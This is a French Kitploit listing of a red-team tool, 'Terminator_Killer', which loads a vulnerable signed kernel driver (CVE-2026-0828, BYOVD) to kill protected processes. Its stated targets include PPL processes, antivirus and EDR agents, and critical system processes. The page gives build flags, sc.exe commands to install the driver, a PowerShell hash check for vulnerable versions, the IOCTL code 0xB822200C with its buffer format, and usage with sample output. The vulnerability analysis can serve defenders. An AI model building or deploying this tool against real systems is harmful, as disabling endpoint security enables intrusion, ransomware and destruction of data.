Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Terminator_Killer — Tueur de processus en mode noyau exploitant CVE-2026-0828 (BYOVD) pour terminer des processus protégés via un pilote signé vulnérable, contournant PPL et la sécurité des points de terminaison. | Kitploit
Outils/GitHubGitHub/hika-sec/terminator_killer
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationÉvasion IDS/IPSTests d'IntrusionRed Teaming
GitHubhika-sec/terminator_killer

Terminator_Killer

Tueur de processus en mode noyau exploitant CVE-2026-0828 (BYOVD) pour terminer des processus protégés via un pilote signé vulnérable, contournant PPL et la sécurité des points de terminaison.

Voir le dépôt
1il y a 21h 36mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Terminator - Tueur de processus Red Team

Un outil de terminaison de processus en mode noyau exploitant un pilote vulnérable (CVE-2026-0828) pour tuer des processus protégés depuis le mode utilisateur.

Compilation

Nécessite MinGW-w64 (GCC) sous Windows. Compilez avec :

root@kitploit:~
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W

Explication des options :

OptionRôle
--%Jeton PowerShell d'arrêt du parsing (transmet les arguments littéralement à g++)
-OzOptimiser pour une taille minimale
-ffunction-sections / -fdata-sectionsPlacer chaque fonction/donnée dans une section séparée
-static / -static-libgcc / -static-libstdc++Liaison statique (aucune dépendance DLL à l'exécution)
-Wl,--gc-sectionsLe linker élimine les sections inutilisées
-WActiver les avertissements

Résultat : terminator.exe autonome (~20-30 Ko, sans symboles).

Focus Technique

Ce projet démontre l'exploitation d'un pilote noyau vulnérable (STProcessMonitorDriver) qui expose un gestionnaire IOCTL_KILL_PROCESS non validé, permettant de terminer arbitrairement des processus, quels que soient les privilèges ou les mécanismes de protection (PPL, flags EPROCESS, etc.).

Détail de l'architecture

ComposantRôle
terminator.cppClient mode utilisateur qui énumère les processus et envoie les IOCTL de terminaison
terminator.hppInterface de classe pour l'énumération et la terminaison des processus
ProcessMonitorDriver.sysPilote noyau vulnérable (externe, non inclus)

Analyse du code

Terminator::GetProcessPids()

  • Crée un instantané via CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)
  • Parcourt tous les processus avec Process32First/Process32Next
  • Correspondances insensibles à la casse avec les noms de processus cibles
  • Retourne un vecteur des PID correspondants

Terminator::ProcessKill()

  • Ouvre un handle vers \\.\STProcessMonitorDriver
  • Entre dans une boucle de surveillance infinie (intervalle de 500 ms)
  • Pour chaque PID découvert, envoie IOCTL_KILL_PROCESS (0xB822200C) avec un tampon PID de 8 octets
  • Aucune sortie quand les processus ne sont pas trouvés ; journalisation uniquement lors des tentatives de terminaison

Guide d'utilisation

Prérequis

Chargez le pilote vulnérable (nécessite des privilèges administrateur) :

root@kitploit:~
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor

Exploitation d'un service existant

Si une version vulnérable de ProcessMonitorDriver.sys est déjà installée et exécutée en tant que service (par exemple, à partir d'une application légitime), Terminator peut se connecter directement sans charger un nouveau pilote.

Vérifiez si le service existe et est en cours d'exécution :

root@kitploit:~
sc.exe query STProcessMonitor

Vérifiez que la version du pilote est vulnérable (PowerShell) :

root@kitploit:~
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
    $hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
    $vulnerableHashes = @(
        "70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b",  # 11.11.4.0
        "85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786"   # 10.5.75.0
    )
    if ($vulnerableHashes -contains $hash) {
        Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
        Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
    } else {
        Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
    }
} else {
    Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}

Si le service existe et est RUNNING avec une version vulnérable, ignorez les étapes de chargement du pilote et exécutez directement Terminator.

Versions concernées (testées)

VersionSHA-256
11.11.4.070bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
10.5.75.085d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786

D'autres versions peuvent être concernées ; vérifiez le gestionnaire IOCTL du pilote avant toute utilisation.

Exécuter Terminator

root@kitploit:~
terminator.exe -proc <process_name1> [process_name2] ...

Exemple :

root@kitploit:~
terminator.exe -proc notepad.exe calc.exe

Sortie

root@kitploit:~
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.

Analyse de CVE-2026-0828

Vulnérabilité : Le pilote STProcessMonitorDriver enregistre un gestionnaire IOCTL (0xB822200C) qui :

  1. Accepte un PID 64 bits fourni par l'utilisateur comme tampon d'entrée
  2. N'effectue aucune validation de la valeur du PID
  3. Appelle directement PsLookupProcessByProcessId → ZwTerminateProcess
  4. S'exécute dans le contexte noyau (jeton SYSTEM), contournant toutes les ACL du mode utilisateur

Impact : Tout utilisateur non administrateur ayant accès au pilote peut terminer :

  • Les processus protégés (PPL)
  • Les agents antivirus/EDR
  • Les processus système critiques (csrss, winlogon, etc.)
  • Les processus nécessitant SeDebugPrivilege

Cause racine : Absence de validation ObReferenceObjectByHandle, absence de SeSinglePrivilegeCheck(SeDebugPrivilege) et absence de contrôles d'accès à l'objet processus.

Avertissement

Cet outil est réservé à la recherche en sécurité autorisée et aux exercices d'équipe rouge (red team).

Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale. L'auteur décline toute responsabilité en cas d'utilisation abusive. Assurez-vous de disposer d'une autorisation écrite avant de déployer dans n'importe quel environnement.

Le pilote vulnérable (ProcessMonitorDriver.sys) est volontairement imparfait à des fins de démonstration et ne doit jamais être déployé en production.

Télécharger l’outil